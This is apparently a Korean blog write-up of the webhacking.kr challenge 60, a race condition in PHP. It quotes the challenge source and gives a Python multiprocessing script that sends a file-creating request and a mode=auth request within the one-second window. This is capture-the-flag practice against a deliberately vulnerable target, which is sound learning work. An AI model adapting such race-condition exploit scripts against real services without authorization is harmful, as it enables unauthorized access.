[webhacking.kr] 60번 문제 풀이[Race Condition]
💡 Webhacking.kr challenge(old) 60번 문제에 대한 풀이입니다.
문제
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
login_chk();
# 쿠키에 PHPSESSID가 숫자 인지 확인
echo "Your idx is {$_SESSION['idx']}<hr>";
if(!is_numeric($_COOKIE['PHPSESSID'])) exit("Access Denied<br><a href=./?view_source=1>view-source</a>");
sleep(1);
# mode = auth인 경우
if($_GET['mode']=="auth"){
echo("Auth~<br>");
$result = file_get_contents("./readme/{$_SESSION['idx']}.txt");
if(preg_match("/{$_SESSION['idx']}/",$result)){
echo("Done!");
unlink("./readme/{$_SESSION['idx']}.txt");
solve(60);
exit();
}
}
# 그냥 접속했을 경우
$p = fopen("./readme/{$_SESSION['idx']}.txt","w");
fwrite($p,$_SESSION['idx']);
fclose($p);
if($_SERVER['REMOTE_ADDR']!="127.0.0.1"){
sleep(1);
unlink("./readme/{$_SESSION['idx']}.txt");
}
?>
문제 풀이
위의 php 소스코드를 해석하면 다음과 같습니다.
- 그냥 접속했을 경우
$p = fopen("./readme/{$_SESSION['idx']}.txt","w"); fwrite($p,$_SESSION['idx']); fclose($p); if($_SERVER['REMOTE_ADDR']!="127.0.0.1"){ sleep(1); unlink("./readme/{$_SESSION['idx']}.txt"); }
저의 인덱스 값은 54522 입니다. 처음 접속하면 ./readme/54522.txt 파일을 생성하고, 해당 파일의 저의 인덱스인 54522를 적습니다. 그리고 REMOTE_ADDR 은 저의 IP라서 127.0.0.1이 아니므로 unlink 함수로 1초뒤에 해당 파일을 지웁니다.
- mode=auth 로 접속한 경우
if($_GET['mode']=="auth"){ echo("Auth~<br>"); $result = file_get_contents("./readme/{$_SESSION['idx']}.txt"); if(preg_match("/{$_SESSION['idx']}/",$result)){ echo("Done!"); unlink("./readme/{$_SESSION['idx']}.txt"); solve(60); exit(); } }
./read/54522.txt 파일에서 저의 인덱스 값인 54522를 비교하여 똑같으면 문제가 클리어 됩니다.
즉, 정리하면 mode를 입력하지 않고 접속한 뒤에, 1초 이내로 mode=auth를 주면서 재접속 하면 풀립니다.
문제를 풀때 동일 브라우저에서 창을 2개 키면, 2개를 동시에 접속해도 문제가 풀리지 않습니다. 따라서 이번 문제를 풀 때는 하나의 브라우저는 원래 쓰던 브라우저를 쓰고, 다른 브라우저를 통해서 1초안에 접속하면 문제가 풀립니다.
저는 파이썬을 이용해서 이를 풀었습니다.
파이썬의 multiprocessing 라이브러리를 사용하여 프로세스를 2개 생성한다음 하나는 그냥접속, 다른 하나는 mode=auth를 주면서 접속을 하였습니다.
import requests
from multiprocessing import Pool
import random
import time
random.seed(time.time())
# 쿠키의 PHPSESSID를 정수값이 들어가도록 해준다.
def login(session):
session.get("https://webhacking.kr")
rand = str(random.randint(1,10000000))
session.cookies.clear()
session.cookies.update({'PHPSESSID':rand})
datas = {}
print(" ------------ login ----------------------")
datas['id'] = 'oksusu98'
datas['pw'] = '비밀번호'
response = session.post("https://webhacking.kr/login.php?login",data=datas)
if( "<script>location.href='/';</script>" in response.text):
print("login success : ",datas['id'])
else:
print("login Fail")
exit(0)
def solve(param):
url = 'https://webhacking.kr/challenge/web-37/'
session = requests.session()
login(session)
# print(session.cookies)
response = session.get(url,params={'mode':param})
return response.text
if __name__ == '__main__':
p = Pool(4)
ret1 = p.apply_async(solve,('make',))
time.sleep(0.3)
ret2 = p.apply_async(solve,('auth',))
print(ret1.get())
print(ret2.get())
p.close()
p.join()
댓글남기기